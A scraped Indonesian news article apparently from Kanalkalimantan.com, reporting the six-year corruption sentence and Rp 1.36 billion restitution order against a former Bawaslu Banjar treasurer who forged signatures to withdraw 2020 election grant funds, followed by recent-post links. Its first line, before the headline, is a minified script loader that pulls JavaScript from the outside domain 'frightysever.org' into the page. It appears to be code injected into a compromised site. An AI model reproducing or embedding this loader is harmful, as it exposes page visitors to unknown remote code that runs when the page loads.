(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mantan Bendahara Bawaslu Banjar Divonis 6 Tahun, Wajib Kembalikan Rp 1,3 Miliar


KANALKALIMANTAN.COM, BANJARMASIN – Majelis Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin menjatuhkan vonis 6 tahun penjara dan denda Rp 300 juta subsider 3 bulan penjara kepada mantan Bendahara Bawaslu Banjar, Saupiah.

Putusan tersebut dibacakan Ketua Majelis Hakim Jamser Simanjuntak didampingi dua hakim anggota di Pengadilan Tipikor Banjarmasin, Rabu (9/11/2022) siang.

“Menjatuhkan pidana kepada terdakwa Saupiah binti Abdul Halim dengan pidana penjara selama 6 tahun, serta pidana denda sejumlah Rp 300 juta, apabila denda tersebut tidak dibayar maka dikenakan hukuman pengganti kurangan selama 3 bulan,” ucap Jamser Simanjuntak.

Dalam putusan tersebut, mantan Bendahara Bawaslu Banjar tersebut juga diwajibkan untuk mengganti kerugian negara sebesar Rp 1,3 miliar atas perbuatan yang dilakukannya.

 

Baca juga  : Dituntut 7 Tahun 6 Bulan Penjara, Mantan Bendahara Bawaslu Banjar Berurai Air Mata

“Terdakwa diwajibkan membayar uang pengganti sebanyak Rp 1.356.851.255. Jika tidak dapat mengganti, maka harta bendanya dapat disita oleh jaksa untuk dilelang untuk menutupi uang pengganti,” ucap Ketua Majelis Hakim.

Dalam hal terdakwa tidak mempunyai harta benda atau harta benda yang dilelang nantinya tidak mencukupi untuk mengganti kerugian negara tersebut, maka diganti dengan pidana penjara selama 2 tahun 6 bulan penjara.

Jika dilihat dari putusan majelis hakim tersebut, terdapat perbedaan dengan tuntutan jaksa penuntut umum (JPU) dengan penjara 7 tahun 6 bulan penjara dan denda Rp 300 juta subsider 3 bulan.

Sementara itu, terhadap uang pengganti kerugian negara putusan majelis hakim sejalan dengan yang dituntut oleh JPU yaitu mengganti kerugian negara Rp 1.356.851.255. Hanya saja subsidir uang pengganti tersebut lebih ringan 1 tahun dibandingkan tuntutan sebelumnya 3 tahun 6 bulan penjara.

Baca juga  : Borong 6 Emas, Tenis Lapangan Jadi Lumbung Medali Kontingen HSU di Porprov XI Kalsel

Saupiah terbukti bersalah secara sah dan meyakinkan melanggar pasal 2 Ayat 1 jo Pasal 18 UU Nomor 31 Tahun 2009 sebgaiman diubah dengan UU Nomor 20 tahun 2001 tentang Tindak Pidana Korupsi.

Pada sidang putusan tersebut terdakwa Saupiah mengikuti persidangan secara daring dari Lapas Martapura. Sementara itu, JPU dan penasehat hukum terdakwa mengikuti persidangan secara langsung.

Ketika ditanyakan oleh majelis hakim apakah mengajukan banding, Saupiah yang didampingi penasehat hukumnya mengatakan menerima putusan. “Menerima yang mulia,” ucap terdakwa.
Hal senada juga disampaikan oleh JPU dari Kejaksaan Negeri Banjar menerima putusan dan tidak mengajukan banding.

Adapun pertimbangan yang memberatkan, disampaikan majelis hakim bahwa perbuatan terdakwa tidak mendukung program pemerintah dalam pemberantasan Tipikor. Sementara itu pertimbangan yang meringankan yaitu terdakwa tidak pernah ditahan dan berlaku sopan di persidangan.

Baca juga  : Disebut Incar Kursi Gubernur Kalsel, DPC PPP Banjarbaru: Aditya Melanjutkan Periode Kedua Wali Kota

Mantan Bendahara Bawaslu Banjar terbukti melakukan tindak pidana korupsi dana hibah Bawaslu pada Pilkada Kabupaten Banjar tahun 2020.

Berdasarkan audit yang dilakukan oleh pihak terkait, kerugian negara akibat perbuatan terdakwa yaitu sebesar Rp 1,3 miliar.

Dari fakta hukum di persidangan, Saupiah melakukan aksinya secara bertahap dengan memalsukan tanda tangan PPK Bawaslu sebanyak 24 kali saat penarikan di bank.

Sejumlah saksi juga sebelumnya sempat dihadirkan, dari Ketua Komisioner Bawaslu Banjar, Ketua dan Sekretariat, PPK, staf, pihak bank, dan pihak terkait lainnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Desy Arfianty

Recent Posts

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

1 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

1 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

2 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

2 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

3 jam ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

3 jam ago

This website uses cookies.